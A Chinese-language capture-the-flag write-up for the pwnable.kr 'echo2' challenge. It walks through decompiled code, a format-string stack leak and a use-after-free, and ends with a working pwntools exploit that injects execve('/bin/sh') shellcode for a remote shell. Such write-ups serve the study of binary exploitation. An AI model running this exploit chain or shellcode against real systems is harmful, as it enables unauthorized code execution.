0x00

pwnable.kr-echo2
FSB+UAF

0x01

IDA—F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp@0
signed __int64 v4; // rsi@1
_QWORD *v5; // rax@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings; // "hello "
*((_QWORD *)o + 4) = byebye; // "goodbye "
printf("hey, what's your name? : ", 0LL);
v4 = v3 - 0x20;
__isoc99_scanf("%24s", v3 - 0x20); // name
v5 = o;
*(_QWORD *)o = *(_QWORD *)(v3 - 0x20);
v5[1] = *(_QWORD *)(v3 - 0x20 + 8);
v5[2] = *(_QWORD *)(v3 - 0x20 + 0x10);
id = *(_DWORD *)(v3 - 32);
getchar();
func[0] = (__int64)echo1; // &func[0]=qword_602080
qword_602088 = (__int64)echo2; // &func[1]=qword_602088
qword_602090 = (__int64)echo3; // &func[2]=qword_602090
*(_DWORD *)(v3 - 36) = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v4);
v4 = v3 - 0x24;
__isoc99_scanf("%d", v3 - 0x24);
getchar();
if ( *(_DWORD *)(v3 - 36) > 3u )
break;
((void (__fastcall *)(const char *, signed __int64))func[(unsigned __int64)(unsigned int)(*(_DWORD *)(v3 - 36)-1)])("%d",v4);
}
if ( *(_DWORD *)(v3 - 36) == 4 )
break;
puts("invalid menu");
}
cleanup(); // free(o)
printf("Are you sure you want to exit? (y/n)", v4);
*(_DWORD *)(v3 - 36) = getchar();
}
while ( *(_DWORD *)(v3 - 36) != 0x79 );
puts("bye");
return 0;
}

__int64 __usercall echo2@<rax>(__int64 a1@<rbp>)
{
(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(a1 - 32, 32LL);
printf((const char *)(a1 - 32), 32LL);
(*((void (__fastcall **)(_QWORD))o + 4))(o);
return 0LL;
}

__int64 __usercall echo3@<rax>(__int64 a1@<rbp>)
{
(*((void (__fastcall **)(_QWORD))o + 3))(o);
*(_QWORD *)(a1 - 8) = malloc(0x20uLL);
get_input(*(_QWORD *)(a1 - 8), 32LL);
puts(*(const char **)(a1 - 8));
free(*(void **)(a1 - 8));
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
return 0LL;
}

简单分析一下:

  • 将shellcode写入name
  • 输入’2’进入echo2 输入格式化字符串leak出栈地址
  • 输入’4’运行到cleanup(),执行free(o)
  • 选择’n’回到循环
  • 输入’3’

0x02

0x00

选择”- 2. : FSB echo”:

1
2
3
4
5
6
7
8
__int64 __usercall echo2@<rax>(__int64 a1@<rbp>)
{
(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(a1 - 32, 32LL);
printf((const char *)(a1 - 32), 32LL);
(*((void (__fastcall **)(_QWORD))o + 4))(o);
return 0LL;
}

输入

1
%10$p

get栈地址addr

结合IDA

1
__isoc99_scanf("%24s", v3 - 0x20);            // name

可得name的地址为addr-0x20,长度24位
于是就在exploit-db上找一个小于等于24位长的shellcode

1
\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05

链接地址:https://www.exploit-db.com/exploits/41750/

0x01

接下来选择”- 4. : exit”:
程序会运行到cleanup()

1
2
3
4
void cleanup()
{
free(o);
}

o会被直接free,但此时选择’n’,则会返回到循环当中继续运行

0x02

选择”- 3. : UAF echo”:

1
2
3
4
5
6
7
8
9
10
__int64 __usercall echo3@<rax>(__int64 a1@<rbp>)
{
(*((void (__fastcall **)(_QWORD))o + 3))(o);
*(_QWORD *)(a1 - 8) = malloc(0x20uLL);
get_input(*(_QWORD *)(a1 - 8), 32LL);
puts(*(const char **)(a1 - 8));
free(*(void **)(a1 - 8));
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
return 0LL;
}

覆盖ret地址跳到name/shellcode处即可

1
payload='A'*24+p64(addr)

差不多就这样

0x03

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p=remote("pwnable.kr",9011)
p.recvuntil(":")
shellcode="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#send name
p.sendline(shellcode)
#get address of name
p.recvuntil(">")
p.sendline('2')
p.sendline("%10$p")
p.recvline()#'hello ~~~~'
addr=int(p.recvline(),16)-0x20
#free(o)
p.sendline('4')
p.sendline('n')
#
p.sendline('3')
p.sendline('A'*24+p64(addr))
p.interactive()

0x04

相关博客:懒得写,以后补上

0x05

结尾立个flag,虽然pwn还是在起步阶段,还是一边硬啃着0day2,一边看着别的大佬的博客和writeup撸pwnable.kr的题。
但是我还是想尽量把我的一些收获整理一下,写下来,毕竟当初看别人的writeup的感觉就是:

  • 为啥能这样啊?
  • 凭啥能这样啊?
  • 怎么就成这样了啊?

所以,。。。。。。emmmm就没有所以
顺便会在以后把pwnable.kr—echo2之前的题目(我做得出的)wp补上的
。。。。。。工程浩大